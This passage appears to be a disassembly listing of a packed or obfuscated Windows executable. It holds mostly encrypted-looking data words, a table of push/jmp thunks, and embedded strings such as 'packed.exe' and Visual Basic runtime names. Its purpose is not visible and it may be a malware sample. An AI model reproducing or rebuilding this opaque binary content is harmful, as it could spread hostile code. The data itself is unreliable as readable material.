		dd 225BFBE3h, 7707E83h,	4AB1D2F3h, 897FFE28h, 6FDF5EE0h
		dd 0B31A887Ch, 0E7EB1456h, 0CBB707F9h, 71916E31h, 0A2AAC0F0h
		dd 4DB7D3DFh, 4AD958D9h, 3FA826DBh, 0A3D4AACBh,	9946C757h
		dd 99C426DBh, 1AA95B0Eh, 0FCFB6BEFh, 6F1A9AFAh,	0ED513093h
		dd 26D925AEh, 9018C1Eh,	0A0000003h, 0D1A5C63Ch,	5E2C51A7h
		dd 0CAB8DD21h, 4C42639Fh, 2ECDEE14h, 0D62C5446h, 659BC1B5h
		dd 0EF1B7240h, 7B8FF8CEh, 85E52A5Ah, 580FC769h,	0D2B4EB24h
		dd 5BF313B9h, 165EA1FEh, 287E2C8Fh, 192A4BBFh, 8115E395h
		dd 0FD1A6120h, 696082BFh, 5A5BF9F3h, 9A95BCBh, 0B3A7F61Fh
		dd 385EB01Fh, 26561EF4h, 2Ch, 0ADFCE50Bh, 0D75AC834h, 6EABCB74h
		dd 335BF9E2h, 508022F0h, 0EAA7F62Ch, 901E6926h,	208115E9h
		dd 0E0DFF961h, 0E2CF561Eh, 50000000h, 0D94DB9D2h, 5CE51F4Bh
		dd 5DD12556h, 8A7C6EDCh, 84169918h, 0FDB14536h,	0ABC83CAFh
		dd 0A1F945BBh, 0E9094A5Eh, 0A15E054Dh, 0BE259908h, 0CE51D042h
		dd 42FF0B7Ch, 3BEB174Ch, 2D5637F6h, 6DC137A1h, 8EF94DCCh
		dd 92C9C57Ah, 0BA7DBC6Eh, 644AD28h, 0FF2C99F9h,	9609A405h
		dd 0B49B6F5h, 1274B5F6h, 0A7F615FAh, 0A4D032B7h, 0F1A7F615h
		dd 27FCFAEh, 5CE33FFEh,	11A2AF8Bh, 0CE30718Eh, 0AC0CB7A6h
		dd 10F1B0F3h, 0C06C8ECFh, 8DAC0CB7h, 47239312h,	5C0E84BDh
		dd 0F6B9F8AAh, 43B92195h, 8E33C6E3h, 9DF0623Fh,	1D0h, 0DEFF0579h
		dd 6B08FEE8h, 0F7946817h, 791AE683h, 6A75D05h, 736F0F67h
		dd 0E896E489h, 54017516h, 0DC8F03A0h, 36798B28h, 0FC4B8D4h
		dd 85BCF558h, 2F4CB6D2h, 0B7D4205Bh, 0BEFCE560h, 0E2586181h
		dd 3A655BF9h, 6F1B9768h, 0A4CC1295h, 1EA7F62Ch,	3A52B4F5h
		dd 77A7F62Ch, 0B41B6D2Ch, 346082C3h, 81A7F62Ch,	0CC3AAC1Eh
		dd 0E10B2D4Dh, 0A213561Eh, 3C000000h, 0B44DB9D2h, 0ECBE403Eh
		dd 0CA58CA4Dh, 0CB6649Eh, 5EA1F9B6h, 0B2D32750h, 0CF5FABDCh
		dd 5EE3A14Eh, 6705E61Dh, 1B45C8B2h, 3B7F4698h, 8D38A405h
		dd 8887D730h, 0DFFC5F07h, 0D07133DCh, 465DF1B5h, 7235FFE2h
		dd 0D1716D8Dh, 0E53CA2AFh, 8E2A565Ch, 0CF8C06Ch, 0B3128DACh
		dd 3EC4BC12h, 8E7C735Ch, 84099B3Fh, 0F4h, 0B2D32955h, 3F5CAADCh
		dd 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh
		dd 184D4162h, 80FBCFECh, 0EA2D5774h, 0FC56C88h,	0B1E02958h
		dd 2F4CB6D2h, 0B7D4205Bh, 4DB9D260h, 0E4104BD9h, 591BC4C7h
		dd 0E20746A8h, 0FCF25BFBh, 8C706F8Ah, 79389B1Eh, 55EBBBEAh
		dd 0C1B5D622h, 0F3097196h, 0EFAED23h, 0DBBA1D9Ch, 413AB84Bh
		dd 4E2CF2B5h, 38B7E1B5h, 5AE8BA40h, 5747D723h, 8399B01Fh
		dd 27ABDCF3h, 51D042B6h, 9569068Ah, 0B4778C84h,	0FCA15506h
		dd 1829DD8Eh, 8416E09Ah, 0EFF06225h, 41B520AEh,	9E7075A1h
		dd 5EE14097h, 6E1AF5ECh, 0C0A30694h, 2EDAB33Fh,	0E87A3D7Ch
		dd 5C662927h, 85BEDF2Bh, 17CF5109h, 8E8BA00Ah, 3AC55938h
		dd 9E62BCD8h, 0C7A6F997h, 7185F644h, 1250BDh, 0E0410000h
		dd 10BCDE1Fh, 5D5EA1FEh, 0F50970C2h, 2E018021h,	0DA48B2D2h
		dd 37E71344h, 9200F4E1h, 0A98661Ch, 6436CCB4h, 0C250AAD6h
		dd 35E9154Ch, 9604F8E7h, 0F2A05600h, 0E7895714h, 2C75BB53h
		dd 0E3C15288h, 81DBF706h, 234A70EBh, 0D9F38128h, 0C1096121h
		dd 0C38104E3h, 34F46774h, 835BDF01h, 3C8704EFh,	89525C24h
		dd 4C281E2h, 83000000h,	148704EAh, 1C895C24h, 4EC8324h
		dd 68243C89h, 3C83h, 0B9240C89h, 6AE2E51h, 5459CB89h, 83243C8Bh
		dd 565304C4h, 674D45BEh, 24743161h, 478F5E04h, 8778108h
		dd 61674D45h, 52243C8Bh, 0C281E289h, 4,	4C281h,	14870000h
		dd 34FF5C24h, 0C4835B24h, 916E904h, 0B696FFFBh,	91143EEAh
		dd 0EA355C0Eh, 0B81A6F3Bh, 6AE3CA0h, 0E0FFC503h, 67BF7A2Dh
		dd 62142585h, 5B173890h, 1C96EF06h, 6FD673F8h, 411499B8h
		dd 0E1DB2D3h, 163E9h, 84FAA400h, 0E705C562h, 5C3A4377h
		dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h
		dd 65h,	3Ah dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5AF4CF
; ---------------------------------------------------------------------------
		push	6AE409Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE41CEh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4303h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE43B2h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE43F1h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE44C1h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4514h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4572h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4C08h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4CA4h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4D58h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4E59h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4EE7h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE4FAEh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE5066h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE5108h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE575Fh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE58A6h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE593Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		retf	783h
; ---------------------------------------------------------------------------
		db 9Ch
		dd 0CB74B2F7h, 0FDA6E4ADh, 2D961451h, 7EC5410Ch, 0FBB6D73Bh
		dd 2F6204AFh, 5D14389Bh, 8EC766C9h, 0CBEAC38h, 0B606160Ch
		dd 0FF8BB0F6h, 1788155Ch, 5EE93D74h, 67A145FEh,	0B5FFF5F8h
		dd 74736CEEh, 797DBDCFh, 0EC47B600h, 767FE712h,	0EE331C22h
		dd 6E286Ch, 5C9E44B6h, 0A75ECA20h, 9E236B0h, 0B4BEAAA8h
		dd 3E591477h, 23000000h, 46D29FC0h, 0EB5E75Dh, 54FAED8h
		dd 1A35B600h, 40446ECh,	0FEB60005h, 1317B155h, 0F1B60005h
		dd 0E971D246h, 0B60004ADh, 0B1C162C9h, 1477F8C5h, 0CC85A708h
		dd 50E23667h, 0C5h, 3459BAEBh, 0D5782771h, 0ED8E179Ch
		dd 83A203A0h, 99BC65CAh, 0C0B04AD0h, 0E3AF57DBh, 12BD0940h
		dd 34F53A73h, 7D8F3B80h, 0B5FFE3EEh, 0F8304AF0h, 0CAB5FFE3h
		dd 2E093761h, 368D2F98h, 440D2F90h, 806ACEDFh, 0AA85EA46h
		dd 4B7FD8BCh, 3C8AC768h, 9BFF293h, 0EC80521Bh, 5E05FE3Dh
		dd 61000019h, 983B8FC6h, 0C768BEFBh, 0F152E8A1h, 2182185Dh
		dd 72F94D00h, 0FFB2D33Fh, 2B6608ABh, 5910349Fh,	8AC362CDh
		dd 8B2A83Ch, 0B6061710h, 0FF8FB4F2h, 7223F25Eh,	0D2974353h
		dd 65A7CDF9h, 0AF585625h, 4B4FF91Fh, 39AF5856h,	9F3251Eh
		dd 78CE87A6h, 91113192h, 58563377h, 4D2611AFh, 56133FE0h
		dd 0B1E7D0C9h, 3459BA6Ah, 8AFB2C71h, 0B176A2EBh, 0A102B803h
		dd 866CCC81h, 9DD47758h, 85A60710h, 87E660C8h, 7DB60005h
		dd 898D4DD2h, 25B60005h, 0F9D5E54Eh, 341477F8h,	113C7C8Eh
		dd 2D06B600h, 0CE498Bh,	0FFD20000h, 4BF1155Ch, 57D6F931h
		dd 0C860CBAFh, 0E4A9CA5Bh, 0C305A3BFh, 0AF57D6C7h, 0C00692BDh
		dd 0AF57DB10h, 6DB9F093h, 45EAA3C2h, 3FEB50C4h,	400D2E91h
		dd 0E2CB1EE8h, 9EB9B5FFh, 6201E208h, 9A3A8D2Bh,	315F8521h
		dd 0FFE39397h, 0CC671B5h, 23350645h, 0E066B260h, 0BCAB2B3Fh
		dd 5F9EBE21h, 409A733Eh, 0BDAF93AFh, 32DC5C01h,	1947ED19h
		dd 0AAEBABEFh, 7ABE99BCh, 4DD994B5h, 0DC0C41E2h, 0EC7FEC62h
		dd 2EC04162h, 31000018h, 68CB5F16h, 97388ECBh, 0C162B8F1h
		dd 0F152E8ADh, 2891D50h, 0CF82A36Fh, 0FBB6D87Bh, 296004AFh
		dd 5A13329Dh, 788258CCh, 0B6061840h, 0FF5FC402h, 0CF7135Eh
		dd 0DF72168h, 7CCA83A2h, 460F2D96h, 4368C0D9h, 88155CFFh
		dd 0E93D7417h, 0A145FE5Eh, 0D6C9C17Bh, 90BBAF57h, 6DA8D218h
		dd 57B5FFE6h, 6FB7B7FCh, 0BB5FFE6h, 7F3FFA0h, 0CE1477DDh
		dd 0EE2266A0h, 82C4B5FFh, 0B5FFEE86h, 3813D37Ch, 0EF42F0h
		dd 0FE240000h, 0FFEE4C4Ch, 9B1D36B5h, 3959BA90h, 0A4852474h
		dd 4BEAD97Bh, 78A5E88Ah, 0B0E9362Fh, 729923C7h,	50B5FFEDh
		dd 9089C3E7h, 0CD84A7F3h, 0EABF3760h, 872F89A1h, 9AF31741h
		dd 7A20948Ah, 8641BC11h, 8E3C1544h, 0E0480525h,	0B859C07Ah
		dd 0E10F9143h, 0B80901BBh, 50FB9143h, 43B872B6h, 0CE6F5091h
		dd 140D1E83h, 54D990B3h, 2BD543h, 3A5C47A3h, 36662177h
		dd 582F598Dh, 0E97EF21h, 204184A5h, 0FE2F746Dh,	0FBB94BAh
		dd 0F05CFEE1h, 62299C29h, 9B18F182h, 4E072182h,	6F2645EAh
		dd 9CD578DBh, 3B6CDC6Ch, 3E872411h, 16F9h, 96145DFCh, 0C145002Dh
		dd 37733A5Eh, 67A3E68Ch, 50D69BBCh, 0CB6CA6CBh,	0FF9F0086h
		dd 0A9CB74B2h, 5AF95AE0h, 0D5179713h, 61A77B3h,	200F4DB6h
		dd 88155CFFh, 0F016AD0Fh, 0FFE64F56h, 8C1A35B5h, 0FF2001A7h
		dd 0CC16E5Dh, 0AFF8256Ch, 9F29DDB6h, 0B5FFED6Ch, 98D57556h
		dd 7DBDCF1Bh, 47B5FFEDh, 0AE1AF3ECh, 28E81218h,	902B893Dh
		dd 0F769D06Ah, 0F05B43D0h, 794AEAB3h, 3A790D5h,	7C602EF9h
		dd 8F3B144Ah, 92480124h, 0D55A1331h, 0EE54C4h, 0BD5FBDF6h
		dd 6ADB4B3Ch, 11A87CEh,	0A4650897h, 34D4CD84h, 5EAE361Eh
		dd 4ACCB576h, 4D000016h, 7C27632Ah, 0AB1492D7h,	0DD46C48Dh
		dd 0DB6F4B1h, 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh,	3D7418BBh
		dd 6E2746E9h, 6C9E4CD8h, 0B6061A2Ch, 0FF6BD016h, 59F3155Ch
		dd 0BFF9D300h, 160B837Ch, 6B0E0000h, 163BE422h,	0CC6CD753h
		dd 0F09E0185h, 0ADCE71B5h, 9CDD5AE0h, 298D576h,	7ECC81A1h
		dd 0A8FEB7D5h, 992D6407h, 6DADDF0Dh, 57B6061Ah,	1CBA2A11h
		dd 57D6AEEAh, 7DBB94AFh, 55DA93B2h, 2FDB60D4h, 0FFEC269Dh
		dd 0F7331CB5h, 6159E309h, 23B5FFECh, 2F01A008h,	0D1F54EEEh
		dd 0A80244B7h, 0B3153EBCh, 50BA6315h, 4FF45859h, 0C9BA619Bh
		dd 27885FF8h, 0B2EB4801h, 0E4AB2DD9h, 461D9224h, 0E8F7CBCh
		dd 57F115AEh, 66A410C0h, 3DC74882h, 7DB866B7h, 1E0F94D1h
		dd 359E4C25h, 21AB5F16h, 1AA5BACh, 3C7518A1h, 5CCDA6F7h
		dd 5C267237h, 0F09150F3h, 0FBC670BDh, 31FE7BF0h, 0D62AA49Dh
		dd 0D1C58438h, 0A94D7B54h, 2B4286BCh, 153B3788h, 1B3E0000h
		dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h
		dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh
		dd 7B6061Bh, 62A65AC1h,	18AF57D7h, 0AF57E71Ch, 57F6D6DEh
		dd 0F79094AFh, 7013AF57h, 0E1518F39h, 0BC7FF9D2h, 14E8C3h
		dd 54CEB00h, 34711E81h,	622B4DF6h, 92D77B24h, 0C78AAB14h
		dd 5DB5C443h, 8A35713Ch, 0BE61A5E8h, 0F053D79Eh, 2686044Dh
		dd 1C8682C4h, 3E7CB606h, 0EB5E711h, 0C38B2D8h, 88804A89h
		dd 0B84F991Fh, 8AB60071h, 88E3CA40h, 506B9EEBh,	8D380EB0h
		dd 0D3F5EEC7h, 0F32A7917h, 8A897AB9h, 8D000014h, 0BC67A3EAh
		dd 0EB54D297h, 1D86044Dh, 4DF63471h, 5E25612Ch,	1B56F71Bh
		dd 4F02248Fh, 7D3458FBh, 0AEE78629h, 2C5E8C18h,	0B6061BECh
		dd 0BAAB90D6h, 2E733A59h, 51F4BBFDh, 6B0A9B18h,	0EECDFD22h
		dd 0D5F17B45h, 0AB7785BEh, 2A069206h, 0CD12DFB9h, 1Ch
		dd 0D75EA656h, 9F00AF57h, 0BE61B7F2h, 0B650D69Fh, 0AFB35CEDh
		dd 1A10F13Eh, 2B000014h, 0DAF45CFFh, 84C6989Ah,	1317B155h
		dd 0F1AF5869h, 47C06D46h, 0EB86ED5h, 0B600884Bh, 7E81E39h
		dd 0CF8AA76Ah, 0D3504962h, 8F783D52h, 0B418A329h, 0B6AFEA87h
		dd 0C38EAF10h, 1EB4D5Eh, 0A89FBCC7h, 62586BCh, 58C9564Fh
		dd 0B0419830h, 0E6AE5731h, 484FB90Dh, 5BBCA83Fh, 9958FB36h
		dd 3D6EB3FAh, 0D5CEDF44h, 441EE51h, 0A469069Fh,	326BC881h
		dd 0F855D459h, 46033037h, 56133FA0h, 0E0DC78C2h, 71F8FBEh
		dd 250h, 0EB5E718h, 0DDDFAED8h,	6BA5B5FFh, 14CB5F8Bh, 1CCAA338h
		dd 24610DF6h, 2464AEFFh, 1EB600B5h, 9F00E335h, 0B013B7F2h
		dd 0E852C683h, 66A2E402h, 5CB600B5h, 55FAA5F3h,	4B4B9310h
		dd 0B7B600C5h, 0C76C733Ch, 11830482h, 0EDD67CAAh, 0C2C6004Dh
		dd 80B600C4h, 0A1DB0197h, 0BCA8F22Eh, 2F88A630h, 0DA8988F6h
		dd 0A96468A0h, 18F15ABCh, 58C56E90h, 3FEBA6C7h,	0BEFABFD4h
		dd 0D1AC2ED4h, 0C5008159h, 3C173E7Eh, 4C25BA96h, 0BBFDBBB2h
		dd 1682A1F3h, 78A5E889h, 0A94AB8FEh, 74AEBBCh, 236A099Ah
		dd 0D1527BFEh, 0FCA50E42h, 0ED1954F5h, 84296C02h, 0CBF0593h
		dd 55F713A8h, 0C3516286h, 0D54ED37Ch, 4DABFFB6h, 2489CC62h
		dd 5BFAA5F3h, 2B518D12h, 51629991h, 36C06BC3h, 6D868FD8h
		dd 5AAC0C36h, 0C351B75Eh, 67A12945h, 0C351B723h, 0D05D36E1h
		dd 38652C4Fh, 555CC572h, 0CB857E37h, 15383FE0h,	0C865CE5Ch
		dd 0D27F208Dh, 0E2907397h, 0F9271A7h, 59F6FDA6h, 7F608E1Ch
		dd 110A97D2h, 5DC28FB0h, 5C48EC4Ch, 0BB012636h,	9Ah
		dd 0C830BA8Ch, 0BE7B634h, 0DC7D2276h, 0E88A7591h, 892F78A5h
		dd 0A5E8891Ah, 0C881A778h, 0D194BA6Bh, 0EEB73C4Ch, 0EA4BE06Fh
		dd 0BB0F42E3h, 0DFD92713h, 64C612h, 72980000h, 57E9D0C8h
		dd 1F99B2AFh, 155CFF14h, 3D741788h, 1B8431F0h, 0E2387114h
		dd 0DFD25E4Ah, 40B912h,	9430000h, 8703CD53h, 69A1DBFBh
		dd 5BAF57F2h, 88A607F0h, 0E13760CDh, 0EB5E7BAh,	0EE9BAED8h
		dd 0CE69B5FFh, 5048F218h, 32B5FFEEh, 2A2C9F19h,	0B5FFEDEAh
		dd 76842D86h, 1477C59Ah, 8B7Dh,	59BAC600h, 0F029763Fh
		dd 0F64DEFB8h, 72BB6D0h, 0D23DB600h, 91BFF9BCh,	8BA879A6h
		dd 0BAD778CEh, 5CF1B2FFh, 690B9419h, 0C228320h,	8825E449h
		dd 8C29A827h, 32771C23h, 0E65440F4h, 43B31477h,	94000000h
		dd 0D90DB4E7h, 57D74BAFh, 93B21D2Fh, 4AB05EDAh,	57D6F830h
		dd 8861CA2Fh, 0B1D43F2Bh, 0AEEB87F8h, 46802801h, 2F57D83Eh
		dd 1211923Bh, 58E218A3h, 0AF57D840h, 779D2902h,	75A3E68Ch
		dd 78Ah, 43DFAD00h, 0FA000000h,	0EA1059FFh, 2F3F2F60h
		dd 0EAAF80Bh, 2A6F049Dh, 0B6E4769Ch, 7D80A470h,	7916991Fh
		dd 705357F1h, 631AF58h,	8B07802Dh, 7311F228h, 0CD0DFE3Ah
		dd 0AF586FC8h, 94A60FE4h, 12DF4FB8h, 0BEB5Fh, 0ABE7E000h
		dd 0DEA3AB08h, 0FA39030Bh, 96829011h, 719B74E7h, 35h, 8ABE7CAh
		dd 0D770A8D2h, 1852AF57h, 51F1B6DAh, 4C86971Ch,	948DCAEEh
		dd 6599D30Fh, 2A45157Bh, 288244D4h, 4458CC91h, 583446EFh
		dd 0BFBBAB6Ch, 21Ah, 8ABE780h, 708C98D2h, 0E08D51CAh, 9C796348h
		dd 30155CFFh, 0E8F413F8h, 0EF15DFCAh, 56h, 80ABE730h, 0CDBA93DEh
		dd 0D70500BAh, 0F8DBAF57h, 77991F5Ah, 0D6B3F711h, 0A691AF57h
		dd 0E9DF19CDh, 33FF6910h, 0BA111A9Eh, 2E733A59h, 0A3E68CFDh
		dd 0BA80EF75h, 24743959h, 0B794DD7Bh, 0AEEA1CBAh, 0B0AF57D6h
		dd 57D71216h, 8747F0AFh, 8C990CACh, 1BDFh, 0ABE7FA00h
		dd 50F1D208h, 0BA909B1Dh, 57D70500h, 9673DCAFh,	59FFDDBAh
		dd 0E0C52B10h, 9655A4A6h, 135EFFA7h, 40092C97h,	3152BD59h
		dd 912B377Ch, 0A7965699h, 41D7C06Bh, 9F0BDDEh, 0ECB071AAh
		dd 21C8316Ah, 21778CE8h, 3296DF7Eh, 0E7AECDh, 0E0ABCDAh
		dd 0FCA79661h, 0F8114861h, 0EC478716h, 0EBFC1D4Ch, 0F2E35FEh
		dd 0D639718Bh, 200BA796h, 0CF6ED137h, 0DD7F6086h, 0B41D0494h
		dd 0D6080F93h, 0B0FAA796h, 3234FB46h, 0E325C19Eh, 0A7964FA7h
		dd 0EED9B29Dh, 1AEE781h, 6EB3FEA0h, 41D0515Ah, 0E1E849E2h
		dd 779D0B42h, 12A564E5h, 76A20913h, 58C588A9h, 2C872139h
		dd 96DB7C83h, 0C58CAF10h, 40DC7DE2h, 0A795E445h, 0DF6143Fh
		dd 0AEF7216Ch, 383FE04Dh, 83EC5C15h, 0AFBEA9E0h, 0BC65B28Bh
		dd 2BDF96B5h, 4BEDA4C8h, 90D97CE3h, 6A2748A9h, 4CEA107Fh
		dd 95E3FE3Ah, 0CD6BC4A7h, 4983CD56h, 7CDE48A0h,	129D1B0Bh
		dd 24CE3A73h, 0D373A3D2h, 0CD051076h, 3B8F4ACFh, 555EDA57h
		dd 30155CFFh, 0B4E79C79h, 0B5AEE785h, 0F413F8D0h, 15DFCAE8h
		dd 2CEFh, 0B4E73000h, 37A8E585h, 0D9D25F1Ah, 0BAFBE0h
		dd 0AF57D705h, 0BA7754FFh, 0DC95B31Ch, 1583C66Bh, 1752FF0Eh
		dd 0DFE0C532h, 30h, 0DB4E7FAh, 500BA18h, 0DCAF57D7h, 1CBA9673h
		dd 52DF92B3h, 0BAD4DF59h, 0D6AEEA1Ch, 0BB94AF57h, 0D89DB27Dh
		dd 0A730BAE3h, 884DD767h, 0CCD94CECh, 57E889A6h, 0A71192AFh
		dd 0F5FFFFFDh, 0E7FD3D4Fh, 6CC7AF57h, 5EA6E7CCh, 5DAF57D7h
		dd 57F84EE1h, 24427831h, 57D7A6E2h, 65B39CAFh, 0D8444486h
		dd 9401AF57h, 2D64040Bh, 5C193699h, 6E2745AEh, 0FA40E8C1h
		dd 0CA57D241h, 0AE2B5100h, 1D866DF1h, 8986211Dh, 23CC450h
		dd 0A65F0000h, 0AF57D75Fh, 0A7CBF85Ch, 0D79D9D2Fh, 0CC67AF57h
		dd 645D4ED3h, 0E1B10446h, 4CB7B5FFh, 9376128h, 7A17F82Eh
		dd 0B013F93Fh, 0C35CC188h, 9846EBAEh, 0E1D0C872h, 99B2B5FFh
		dd 0EE4A0728h, 0BD692C41h, 0E1B5F517h, 0A48FB5FFh, 0A6169774h
		dd 445FE91Dh, 3EBCA801h, 0D731F315h, 4467EC82h,	0DF4FBh
		dd 1950F700h, 480D228Dh, 7E3751F2h, 0AEEB8728h,	0DB96B718h
		dd 61B1C04Fh, 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h
		dd 238286C0h, 3A40B606h, 0DB30BA1Dh, 0E55E9BEBh, 0A6EB8CFDh
		dd 4F8EAD72h, 258A632Eh, 5F8B3064h, 646982Dh, 0FA0C6AB6h
		dd 0B60645BEh, 0F80A43E5h, 5F40665Fh, 892A7039h, 9F00A6EFh
		dd 51183BFEh, 0B6E2DBCCh, 60294CD5h, 751330BAh,	32ADA343h
		dd 108405E6h, 0D2CD7FABh, 94BCAE48h, 54A3072Bh,	5A610215h
		dd 6F9107F0h, 45DA24C4h, 0D9DAEC7Ch, 0D5868h, 753C5B00h
		dd 0A4E18E31h, 0D29BBD66h, 247EB54h, 377A1B84h,	0CD4574F3h
		dd 0FAA5E1ACh, 2E911558h, 60C3470Eh, 0B636743Dh, 231612B4h
		dd 0AEECB606h, 7130BA81h, 0DC64E136h, 5BFAA5F3h, 0A80C8D12h
		dd 6649F713h, 2F6204C9h, 7164E236h, 77B6001Dh, 0A6CFB8E5h
		dd 0EE4A0FABh, 10B3F720h, 25E6246Dh, 709E4CF7h,	0D16BE38Fh
		dd 0B5FFDDD9h, 19780ABh, 0AE1C79C7h, 3AE04BBCh,	0B0F6BFD9h
		dd 8320690Fh, 0E54A0322h, 71A9D379h, 53BCAE1Ch,	45F7B0F8h
		dd 28A2C8FEh, 0D4168B68h, 0E1E382EBh, 0C0E47872h, 0EC232573h
		dd 0D6C35635h, 0A26D4B7Dh, 9013E5D4h, 0CA42Fh, 0C980A700h
		dd 0F8BDD27Dh, 2E6701A2h, 5E1B3798h, 8BC667C8h,	1101B03Fh
		dd 46E93D70h, 72DD6924h, 0A40F9BD2h, 0EA72C881h, 23D2D670h
		dd 6AB0B606h, 0D85CFFCDh, 0D71008B2h, 59F2AF57h, 57D779B1h
		dd 0F7E04BAFh, 8B3E1AAh, 0FC0EB4D2h, 0AF57D6BCh, 4A032586h
		dd 5DDBB4E5h, 0FFE4E08Bh, 5D89A2B5h, 0F72DE01Bh, 64C71F5Ah
		dd 0B5D7F349h, 0B600A475h, 0CEB4E44Fh, 640C865h, 0B600A402h
		dd 0F0B9DFC0h, 0A8817AB3h, 0DE97B112h, 0B5E76348h, 0B4ADE886h
		dd 0F2ADF416h, 0BC97B5FFh, 0F2AFF777h, 60CBB5FFh, 0CAC7B3BFh
		dd 0CC0E1477h, 0FEBE99C0h, 0A09D7CA6h, 1661A23Ch, 0A099D078h
		dd 88CA08h, 0FF5D0000h,	5C8A1752h, 0BC44BE1Ah, 3078C2D9h
		dd 1A87C26Fh, 0A4FE3CCh, 0C96D01AEh, 0C012AA64h, 39665FE3h
		dd 388ECB68h, 70962D8Fh, 144E9CAh, 0DB2D8B9Ch, 0B6003E9Ch
		dd 0B71BCD66h, 0B9F32A9Ah, 0BA3897Ah, 83A60000h, 0BED37CCAh
		dd 6404AFFBh, 1836992Dh, 0C566C95Dh, 4B53288h, 9A206D0Eh
		dd 0D6541939h, 86CF6Dh,	71B5FC9Fh, 0D5D577F5h, 0AFB60624h
		dd 52FFC269h, 3355F317h, 0AF57D6F7h, 4C3662CDh,	7BC3h
		dd 52FFE600h, 3355F317h, 0AF57D6F7h, 1D1DAFCDh,	0E7AF57D7h
		dd 66C5534Ch, 1ECC77A5h, 26ED38DCh, 0D642E6B3h,	25A7FA0Ch
		dd 56B9B600h, 1A53F134h, 0DAB8495h, 0F7B2E0C3h,	621071AAh
		dd 0C8A1FA27h, 2AB2AC10h, 0B60FACF3h, 0B15h, 0E2387118h
		dd 0DD692C41h, 0B9FD672h, 7BCF8AA8h, 0ACFAB7D8h, 0DF809227h
		dd 8BAB1492h, 0BDDF40C6h, 6E0DB6F4h, 0E17BE327h, 62563A7h
		dd 3C1B21B6h, 0F19D5CFFh, 7A53163Ch, 0DA7A6581h, 0FDA60593h
		dd 0F08A175Eh, 0DEDA6C8Ah, 0A4AF57D6h, 0EDB62D8Bh, 0DFD2F1EDh
		dd 2491412h, 6CEE0000h,	136CF2EEh, 2D76A24Dh, 0AD0F5001h
		dd 2356F016h, 0E1B5FFEDh, 9334D236h, 8A99795h, 51EB1FA4h
		dd 0B03FA30Ah, 49D25FF8h, 1CB4D8EBh, 31C98689h,	0FED7C0B4h
		dd 0A2E7BEC8h, 93DDB6EAh, 0E0BDA4BDh, 1A57F70Ch, 31924821h
		dd 0A949BA12h, 0ECB64D09h, 0B992D77Bh
		dd 0BA3C26Dh, 39FE4880h, 39EFD8A1h, 0F2408CCDh,	4E13ECCFh
		dd 5100000Ah, 882B7F36h, 0B718AEEBh, 0E142D891h, 11B2084Dh
		dd 62E93D70h, 0EFA2C34Fh, 1B56F85Bh, 4900248Fh,	7A3352FDh
		dd 18A2B82Ch, 0B6062620h, 0FF7FA4E2h, 7EFE9F52h, 57D6CCCCh
		dd 0A49DB6AFh, 77A566CBh, 20EC1ECCh, 0E2B60615h, 8C779D49h
		dd 0DCDC6EE6h, 0A6B60614h, 9B04948Dh, 0CF70B6FBh, 0DBC4E2AFh
		dd 0F3ACF1B8h, 83941950h, 419D0EAAh, 985BDA37h,	4BED534Eh
		dd 0C7E358FCh, 9A2B6F99h, 3E19B606h, 0ABD670FAh, 0BDBCAEBCh
		dd 0BCB5F517h, 0A48FBCAEh, 4561CA74h, 3175385Ah, 429EC8Eh
		dd 0D2CBDC41h, 2E914Dh,	69CFD845h, 3AEEA7C6h, 0EC7C1BB6h
		dd 964839FAh, 99000009h, 0D073B7FEh, 0FFA0E6A3h, 298A1059h
		dd 59FA4005h, 0AA317538h, 276A0B07h, 531E40E3h,	81C86CD7h
		dd 0B2FB9A05h, 0D06AF074h, 0B60626D8h, 91C76CAAh, 57D73969h
		dd 169F34AFh, 0E9DA7A43h, 8099064Fh, 0AAC97397h, 98B5FFF9h
		dd 8BA80BBFh, 0E04861CEh, 57FF997Ah, 59AF67AFh,	0BB0FF8F4h
		dd 0F317AC00h, 0AA94C949h, 6A90BBBCh, 76A2EB89h, 0EE1846ECh
		dd 0BCAA94AAh, 0B679BF98h, 0E748DE97h, 8E4FEC44h, 5FA19923h
		dd 0C863BCAAh, 0F9285A3Eh, 0C57FBBCDh, 0EA45BCAAh, 13C3D7F1h
		dd 0EECDEC80h, 8F415h, 1950F700h, 480D228Dh, 7E3751F2h
		dd 0AEEB8728h, 0DB96B718h, 61B1C04Fh, 96398DC0h, 0C26DB9F4h
		dd 0F45FEBA2h, 1A821851h, 288286C0h, 3A40B606h,	3859BA1Dh
